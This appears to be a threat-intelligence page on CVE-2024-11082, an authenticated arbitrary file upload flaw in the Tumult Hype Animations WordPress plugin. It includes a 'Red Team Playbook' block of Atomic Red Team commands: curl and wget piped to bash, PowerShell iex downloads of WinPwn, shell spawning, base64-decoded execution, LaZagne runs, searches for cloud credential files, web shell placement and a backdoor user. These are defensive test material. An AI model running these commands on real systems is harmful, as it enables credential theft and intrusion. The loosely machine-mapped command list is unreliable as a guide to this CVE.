CVE-2024-11082
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the hypeanimations_panel() function of the Tumult Hype Animations WordPress plugin. The affected component is the administrative panel handling file uploads, which fails to enforce restrictions on file extensions or content, allowing unauthorized file types to be accepted. This defect exists in all plugin versions up to and including 1.9.15.
Vulnerability Description
The Tumult Hype Animations plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the hypeanimations_panel() function in all versions up to, and including, 1.9.15. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Author-level access can upload malicious files to the server, potentially enabling remote code execution and full compromise of the affected WordPress site. This requires no user interaction beyond authentication and can lead to data breach, site defacement, or persistent backdoor installation. The vulnerability has a CVSS vector indicating network attack complexity is low and privileges required are limited to authenticated authors (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
Solution
Users should upgrade the Tumult Hype Animations plugin to a version later than 1.9.15 where this vulnerability is addressed. Detailed patch instructions and updates are available via the WordPress plugin repository at https://wordpress.org/plugins/tumult-hype-animations/#developers and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/be3a0b4b-cce5-4d78-99d5-697f2cf04427. No official workaround is documented; prompt plugin update is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Tumult Hype Animations plugin for WordPress arises from inadequate validation of file types within the hypeanimations_panel() function. This oversight allows authenticated users with Author-level access or higher to upload arbitrary files to the server. The lack of stringent checks means that malicious actors can exploit this weakness to upload potentially harmful files, including scripts or executables that could facilitate remote code execution. The absence of proper file type validation creates a pathway for attackers to bypass security measures that typically restrict file uploads to safe formats, such as images or documents.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have legitimate access to the WordPress environment, can leverage their privileges to upload a malicious file disguised as a harmless document. Once uploaded, the attacker can execute this file, leading to unauthorized actions on the server, such as data exfiltration, website defacement, or the installation of backdoors for persistent access. Additionally, if the compromised site is part of a larger network or serves as a platform for other applications, the impact can cascade, affecting multiple systems and users.
The real-world implications of this vulnerability are significant, particularly for businesses that rely on WordPress for their online presence. The potential for remote code execution poses a severe risk, as attackers could gain control over the server, leading to data breaches, loss of sensitive information, and damage to the organization's reputation. Furthermore, the financial repercussions of such incidents can be substantial, encompassing costs related to incident response, legal liabilities, and potential regulatory fines. The trust of customers and stakeholders can be severely undermined, resulting in long-term damage to the brand.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Tumult Hype Animations plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads and monitor for suspicious activity. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Implementing strict role-based access controls can limit the ability of lower-privileged users to upload files, thereby reducing the attack surface.
In conclusion, the vulnerability in the Tumult Hype Animations plugin underscores the importance of robust security practices in web applications. The potential for arbitrary file uploads leading to remote code execution poses a critical risk that can have far-reaching consequences for organizations. By prioritizing timely updates, employing security tools, and enforcing strict access controls, businesses can significantly mitigate the risks associated with this vulnerability and enhance their overall security posture.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-11082, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit code or active campaigns have been identified by our sensors, the upward trend in EPSS—now placing this vulnerability in the 94th percentile—signals heightened attacker interest and potential preparatory activity. This shift is significant because it suggests that adversaries with Author-level access on affected WordPress sites may increasingly prioritize leveraging this arbitrary file upload flaw to achieve remote code execution. Consequently, defenders should recognize that the threat landscape is evolving from theoretical risk toward more imminent exploitation, warranting closer monitoring and prioritization within vulnerability management workflows. While the absence of confirmed exploit deployments tempers immediate alarm, the increased EPSS score underscores a rising risk profile that elevates CVE-2024-11082’s criticality in operational environments.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11082 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/be3a0b4b-cce5-4d78-99d5-697f2cf04427?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/tumult-hype-animations/trunk/includes/adminpanel.php#L277 |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/tumult-hype-animations/#developers |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3197761/ |
| github.com |
GitHub CVE
|
https://github.com/tumult/hype-wordpress-plugin/commit/1702d3d4fd0fae9cb9fc40cdfc3dfb8584d5f04c |